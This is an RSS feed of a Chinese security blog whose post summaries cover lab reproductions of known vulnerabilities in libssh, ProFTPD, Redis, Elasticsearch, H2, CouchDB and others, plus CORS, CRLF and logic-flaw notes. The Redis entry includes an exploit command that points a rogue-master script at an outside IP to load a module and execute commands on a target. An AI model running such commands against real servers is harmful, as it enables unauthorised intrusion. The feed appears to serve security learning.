<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[c0529的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/c0529</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; c0529]]></copyright><item><title><![CDATA[libssh-cve_2018_10933-vulfocus]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139907197</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139907197</guid><author>c0529</author><pubDate>Sun, 23 Jun 2024 21:58:18 +0800</pubDate><description><![CDATA[ibssh是一个用于访问SSH服务的C语言开发包，它能够执行远程命令、文件传输，同时为远程的程序提供安全的传输通道。server-side state machine是其中的一个服务器端状态机。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以MSG_USERAUTH_SUCCESS在身份验证成功之前发送消息。这样可以绕过身份验证并访问目标SSH服务器。本来是靶机要接受MSG_USERAUTH_REQUEST,我们用seccess状态码替换了。]]></description><category></category></item><item><title><![CDATA[cve-2015-3306-proftpd-vulfocus]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139907091</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139907091</guid><author>c0529</author><pubDate>Sun, 23 Jun 2024 21:55:05 +0800</pubDate><description><![CDATA[proftp是用于搭建基于ftp协议的应用软件ProFTPD是ProFTPD团队的一套开源的FTP服务器软件。该软件具有可配置性强、安全、稳定等特点。ProFTPD 1.3.5中的mod_copy模块允许远程攻击者通过站点cpfr和site cpto命令读取和写入任意文件。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。复制命令使用ProFTPD服务的权限执行，默认情况下，该服务在“nobody”用户的权限下运行。]]></description><category></category></item><item><title><![CDATA[Rsync未授权访问-vulfocus]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139906967</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139906967</guid><author>c0529</author><pubDate>Sun, 23 Jun 2024 21:52:50 +0800</pubDate><description><![CDATA[Rsync是linux上文件传输的协议，如果有返回直接可以看到，部分主机使用协议的时候不会加密码，就容易造成未授权访问漏洞。]]></description><category></category></item><item><title><![CDATA[服务攻防-数据库安全（数据库与漏洞利用）]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139624197</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139624197</guid><author>c0529</author><pubDate>Wed, 12 Jun 2024 13:44:13 +0800</pubDate><description><![CDATA[如果要进行安全服务的渗透，我们先需要知道这个服务是否开启了，在数据库这个部分我们的判断方法主要有以下三种：- 扫描端口：对于不同的数据库来说，使用的端口也是不一样的，虽然可以更改数据库使用的端口，但是一般都不会修改的，一般可以用在线端口扫描，或者nmap当发现的确有这个服务但是没有扫描到相应端口的时候，考虑以下情况：- 端口不对外网展示，只对固定ip开放- WAF软件- 修改了默认的端口号。]]></description><category></category></item><item><title><![CDATA[H2database 未授权访问 vulhub]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139624113</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139624113</guid><author>c0529</author><pubDate>Wed, 12 Jun 2024 13:32:59 +0800</pubDate><description><![CDATA[打开之后是一个访问的页面，我们需要用java语言驱动让这个网站主动访问其他主机并且执行命令，我们需要用到一开始写在最前面的工具进行生成rmi。我出现的一个问题就是反弹不出去，我想了想可能是要在我的外网上面java生成命令才对，但是等我反应过来，我已经把容器关掉了。在驱动选择：javax.naming.InitialContext。被反弹shell的机子：可以就用kali，或者配一台外网服务器。出现下方红色的字体就成功了，同时你的主机检测到了这个网站的访问。虚拟机：kali+docker。]]></description><category></category></item><item><title><![CDATA[CVE-2019-20933-influxdb未授权访问-vulhub]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139624041</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139624041</guid><author>c0529</author><pubDate>Wed, 12 Jun 2024 13:28:50 +0800</pubDate><description><![CDATA[InfluxDB 是一个开源分布式时序、时间和指标数据库，使用 Go 语言编写，无需外部依赖。其设计目标是实现分布式和水平伸缩扩展，是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证，但未设置参数 shared-secret 的情况下，jwt 的认证密钥为空字符串，此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。]]></description><category></category></item><item><title><![CDATA[CVE-2012-2122-mysql未授权访问漏洞复现-vulhub]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139624003</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139624003</guid><author>c0529</author><pubDate>Wed, 12 Jun 2024 13:24:19 +0800</pubDate><description><![CDATA[简单来说，除了配置上的问题以外，是密码的验证出现了漏洞，导致尝试次数多了之后直接可以登入使用：kali+vulhub。]]></description><category></category></item><item><title><![CDATA[wooyun_2015_110216-Elasticsearch-vulfocus]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139583712</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139583712</guid><author>c0529</author><pubDate>Mon, 10 Jun 2024 22:49:46 +0800</pubDate><description><![CDATA[ElasticSearch具有备份数据的功能，用户可以传入一个路径，让其将数据备份到该路径下，且文件名和后缀都可控。所以，如果同文件系统下还跑着其他服务，如Tomcat、PHP等，我们可以利用ElasticSearch的备份功能写入一个webshell。和CVE-2015-5531类似，该漏洞和备份仓库有关。在elasticsearch1.5.1以后，其将备份仓库的根路径限制在配置文件的配置项path.repo中，而且如果管理员不配置该选项，则默认不能使用该功能。]]></description><category></category></item><item><title><![CDATA[hadoop未授权访问命令执行漏洞复现-vulfocus]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139583635</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139583635</guid><author>c0529</author><pubDate>Mon, 10 Jun 2024 22:42:41 +0800</pubDate><description><![CDATA[Hadoop YARN（Yet Another Resource Negotiator）的ResourceManager是集群资源管理的核心组件，负责分配和管理集群资源以及调度作业。如果ResourceManager出现未授权访问漏洞，可能允许未经认证的用户访问或操作集群资源，这可能会导致数据泄露、资源滥用或拒绝服务攻击。在这个复现中就是在组件的ui界面上出现了未授权访问漏洞。]]></description><category></category></item><item><title><![CDATA[解决阿里云的端口添加安全组仍然无法扫描到]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139583576</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139583576</guid><author>c0529</author><pubDate>Mon, 10 Jun 2024 22:37:05 +0800</pubDate><description><![CDATA[我用nmap扫了一下我的这个端口，发现主机是活跃的，但是有防火墙，我们列出云服务器上面的这个防火墙list，发现确实没有5566端口。这个是因为5566没有绑定相对应的服务导致的，如果用nc监控上该端口之后，就可以扫到了。在网上排除了安全组，防火墙，iptable之后，使用curl去连接本地的5566端口。添加list之后，要记得重启：- firewall-cmd –reload。发现用线上的网站扫不到这个端口，这个端口关了，但是没有更详细信息了。反应过来之后看到这些之后真的觉得自己是个呆的。]]></description><category></category></item><item><title><![CDATA[cve_2022_0543-redis沙盒漏洞复现 vulfocus]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139583542</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139583542</guid><author>c0529</author><pubDate>Mon, 10 Jun 2024 22:33:13 +0800</pubDate><description><![CDATA[该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意 Lua 功能。]]></description><category></category></item><item><title><![CDATA[cve_2017_12635-CouchDB垂直权限绕过]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139583496</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139583496</guid><author>c0529</author><pubDate>Mon, 10 Jun 2024 22:30:14 +0800</pubDate><description><![CDATA[在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同，导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员，属于垂直权限绕过漏洞。使用大佬给的exp（exp在顶上的参考链接里面）影响版本：小于1.7.0以及小于2.1.1。直接拿到了flag，大佬真的太强了。打开vulfocus对应靶场。]]></description><category></category></item><item><title><![CDATA[cve_2014_3120-Elasticsearch-rce-vulfocus靶场]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139583432</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139583432</guid><author>c0529</author><pubDate>Mon, 10 Jun 2024 22:26:11 +0800</pubDate><description><![CDATA[老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。知识点普及：1、Elasticsearch，是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java语言开发的，并作为Apache许可条款下的开放源码发布，是一种流行的企业级搜索引擎。]]></description><category></category></item><item><title><![CDATA[cnvd_2015_07557-redis未授权访问rce漏洞复现-vulfocus复现]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139583321</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139583321</guid><author>c0529</author><pubDate>Mon, 10 Jun 2024 22:19:57 +0800</pubDate><description><![CDATA[python3 redis-master.py -r 目的ip -p 目的端口 -L 47.100.167.248 -P 1111 -f RedisModulesSDK/exp.so -c "id"python3 redis-master.py -r 目的ip -p 目的端口 -L 攻击者ip -P 对应端口 -f RedisModulesSDK/exp.so -c "id"出了一个file，搜了一下是由于这个文件用python3写的，要检查一下你的服务器上是不是python版本3.0以上，用。]]></description><category></category></item><item><title><![CDATA[通用漏洞-基于同源策略的cors与jsonp&域名接管]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139481318</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139481318</guid><author>c0529</author><pubDate>Wed, 05 Jun 2024 20:33:11 +0800</pubDate><description><![CDATA[在csrf的学习中，我们了解到解决第三方网站采取的发包操作，最简单的策略就是同源策略sof，即为同协议，同域名，同端口，对于同源策略网站会自动检测来源，如果不是自己的网站就会主动丢弃，但是这也造成了网站无法被自己其他的文件引用，也就是说，无法在其他网站使用这个网站上面的相应服务，或者无法主动接受使用其他网站所收回的respond。一般用ping就可以查看到真实导向的域名了，如果我们可以在其导向域名过期之后抢注申请域名，就可以变相劫持域名，或者完成钓鱼。cors和jsonp回调都主要用于资源的获取。]]></description><category></category></item><item><title><![CDATA[CORSscanner&burp的插件jsonp-hunter&dnsub]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139481458</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139481458</guid><author>c0529</author><pubDate>Wed, 05 Jun 2024 20:32:17 +0800</pubDate><description><![CDATA[有时候会出一些警告没引入变量之类的，用pip安装一下就可以了打开之后是这样的。]]></description><category></category></item><item><title><![CDATA[通用漏洞-crlf&url重定向&拒绝服务攻击]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139450140</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139450140</guid><author>c0529</author><pubDate>Tue, 04 Jun 2024 17:58:37 +0800</pubDate><description><![CDATA[crlf是在数据包头头部采取一些回车加换行的操作，把自己的其他代码放到数据包中去覆盖掉原本的数据的方法，常配合xss漏洞使用，这个漏洞本身的造成危害并不严重，CRLF Injection又叫HTTP响应拆分/截断（HTTP Response Splitting）简称HRS。CRLF是CR和LF两个字符的拼接，它们分别代表”回车+换行”（\r\n）“，全称为Carriage Return/Line Feed”，十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A。]]></description><category></category></item><item><title><![CDATA[crlfuzz&crlfsuite]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139450015</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139450015</guid><author>c0529</author><pubDate>Tue, 04 Jun 2024 17:52:42 +0800</pubDate><description><![CDATA[都是用来检测crlf漏洞的，原理也很简单，都是提交带有回车和行换的payload去测试，总体感觉crlfuzz更好用一点，因为可以看到整个payload，crlfsuite我暂时没找到这个访问的网址在哪里。]]></description><category></category></item><item><title><![CDATA[逻辑问题的基本知识总结&越权&支付&验证码&弱口令]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139414136</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139414136</guid><author>c0529</author><pubDate>Mon, 03 Jun 2024 14:43:16 +0800</pubDate><description><![CDATA[垂直越权和水平越权，垂直越权的危害要比水平越权更大。]]></description><category></category></item><item><title><![CDATA[大米cms安装&支付逻辑漏洞]]></title><link>https://blog.youkuaiyun.com/c0529/article/details/139413822</link><guid>https://blog.youkuaiyun.com/c0529/article/details/139413822</guid><author>c0529</author><pubDate>Mon, 03 Jun 2024 14:30:55 +0800</pubDate><description><![CDATA[链接：https://pan.baidu.com/s/1b-Z6RaFBZ6CsSIErY46Pyg?pwd=q8qq提取码：q8qq注意一下配置就可以了：php5.5+apache+mysql5.0，主要就是数据库版本要注意一下还是建议一开始就把数据库建好。]]></description><category></category></item></channel></rss>